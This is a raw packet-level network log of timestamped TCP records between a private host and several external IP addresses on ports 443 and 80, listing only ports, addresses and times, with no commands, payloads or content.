Oct 29, 2024 02:46:37.205496073 CET	443	49858	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.207868099 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.207951069 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.208039999 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.208919048 CET	49863	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.208956957 CET	443	49863	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.209037066 CET	49863	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.213021994 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.213054895 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.213145018 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.214065075 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.214102030 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.214196920 CET	49863	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.214214087 CET	443	49863	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.214737892 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.214760065 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.238498926 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.238653898 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.238799095 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.238907099 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.238919020 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.238940954 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.238951921 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.240189075 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.240206957 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.240279913 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.240288973 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.240375996 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.241444111 CET	443	49857	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.241607904 CET	443	49857	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.241727114 CET	49857	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.242908955 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.242938042 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.243081093 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.243186951 CET	49857	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.243186951 CET	49857	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.243195057 CET	443	49857	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.243201971 CET	443	49857	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.244333982 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.244349957 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.246176958 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.246187925 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.246351957 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.246660948 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.246671915 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.265737057 CET	443	49853	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:37.266223907 CET	49853	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:37.266264915 CET	443	49853	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:37.266973019 CET	49853	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:37.266988039 CET	443	49853	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:37.267030954 CET	49853	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:37.267045021 CET	443	49853	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:37.294833899 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.294850111 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.294925928 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.294941902 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.294996977 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.316087961 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.316108942 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.316164970 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.316174030 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.316266060 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.416626930 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.416644096 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.416683912 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.416704893 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.416733027 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.416842937 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.418376923 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.418390989 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.418467999 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.418476105 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.418600082 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.433964968 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.433984995 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.434036016 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.434056044 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.434079885 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.434092999 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.489963055 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:37.495412111 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.539886951 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.539908886 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.540011883 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.540038109 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.540766954 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.546793938 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.546812057 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.546875000 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.546886921 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.547537088 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.661457062 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.661473989 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.661540031 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.661547899 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.661711931 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.663002014 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.663016081 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.663075924 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.663081884 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.663378954 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.664622068 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.664642096 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.664690018 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.664699078 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.664729118 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.664817095 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.711935997 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.711958885 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.711997032 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.712004900 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.712049961 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.712070942 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.773006916 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.773047924 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.773082972 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.773127079 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:37.773179054 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.773195982 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:37.773214102 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.773248911 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.773282051 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.773303032 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:37.773324966 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:37.773335934 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.773370981 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.773405075 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.773463011 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:37.773816109 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.773845911 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.773880959 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:37.773917913 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:37.778863907 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.778899908 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.778942108 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:37.778984070 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:37.784333944 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.784353018 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.784441948 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.784475088 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.784715891 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.788762093 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.788779974 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.788830996 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.788841963 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.788868904 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.788883924 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.900940895 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.900962114 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.901027918 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.901036024 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.901071072 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.901081085 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.905776024 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.905792952 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.905885935 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.905925035 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.907095909 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.907120943 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.907200098 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.907200098 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.907229900 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.908065081 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.930428028 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.930490017 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.930525064 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.930557966 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.930592060 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:37.930593967 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.930651903 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:37.930794954 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:37.930851936 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.930934906 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.930989027 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.931025028 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.931041002 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:37.931078911 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.931081057 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:37.931798935 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.931850910 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:37.931911945 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:37.946368933 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.946865082 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.946880102 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.947341919 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.947345972 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.948081970 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.948098898 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.948154926 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.948163986 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.948223114 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.948223114 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.949151993 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.949505091 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.949551105 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.949995041 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.950011015 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.951451063 CET	443	49863	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.952275991 CET	49863	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.952297926 CET	443	49863	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.952661991 CET	49863	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.952667952 CET	443	49863	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.959100962 CET	443	49853	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:37.959120989 CET	443	49853	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:37.959161043 CET	443	49853	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:37.959194899 CET	49853	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:37.959229946 CET	443	49853	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:37.959263086 CET	49853	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:37.960196018 CET	49853	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:37.960230112 CET	443	49853	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:37.960253954 CET	49853	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:37.960344076 CET	443	49853	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:37.960369110 CET	443	49853	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:37.961576939 CET	49853	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:37.980123997 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.980716944 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.980732918 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.981169939 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.981174946 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.996596098 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.997184038 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.997209072 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.997617006 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.997626066 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.024805069 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.024823904 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.024899006 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.024908066 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.025047064 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.028259993 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.028275967 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.028373003 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.028405905 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.028455973 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.029314041 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.029349089 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.029378891 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.029397011 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.029438972 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.029769897 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.029793978 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.047142982 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.047157049 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.047214985 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.047219038 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.047234058 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.047245026 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.047291994 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.047663927 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.047674894 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.047694921 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.047723055 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.047750950 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.047750950 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.047765017 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.047832966 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.048585892 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.048603058 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.048654079 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.048692942 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.073616028 CET	49867	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:38.073664904 CET	443	49867	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:38.073740959 CET	49867	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:38.073889971 CET	49867	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:38.073909998 CET	443	49867	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:38.079047918 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.079289913 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.080053091 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.080462933 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.080462933 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.080492973 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.080517054 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.081940889 CET	443	49863	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.082098961 CET	443	49863	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.082160950 CET	49863	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.083709955 CET	49868	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.083777905 CET	443	49868	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.083811045 CET	49863	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.083826065 CET	443	49863	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.083874941 CET	49868	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.087177992 CET	49868	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.087214947 CET	443	49868	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.088891029 CET	49869	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.088901997 CET	443	49869	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.089217901 CET	49869	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.089366913 CET	49869	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.089390039 CET	443	49869	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.092425108 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.092478037 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.092541933 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.092680931 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.092690945 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.092704058 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.092714071 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.092717886 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.092720985 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.092772961 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.092772961 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.106127977 CET	49870	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.106153011 CET	443	49870	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.106210947 CET	49870	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.106417894 CET	49870	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.106434107 CET	443	49870	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.109107971 CET	49871	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.109118938 CET	443	49871	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.109217882 CET	49871	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.109374046 CET	49871	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.109388113 CET	443	49871	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.109797955 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.110097885 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.110750914 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.110991955 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.110991955 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.111000061 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.111011028 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.128880978 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.129081011 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.129132032 CET	49872	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.129168034 CET	443	49872	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.129183054 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.129276037 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.129287004 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.129300117 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.129300117 CET	49872	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.129307985 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.129451036 CET	49872	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.129463911 CET	443	49872	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.131983042 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.132000923 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.132244110 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.134989977 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.135003090 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.136724949 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.136744976 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.136796951 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.136804104 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.136842966 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.164189100 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.164202929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.164212942 CET	80	49838	185.215.113.206	192.168.2.5
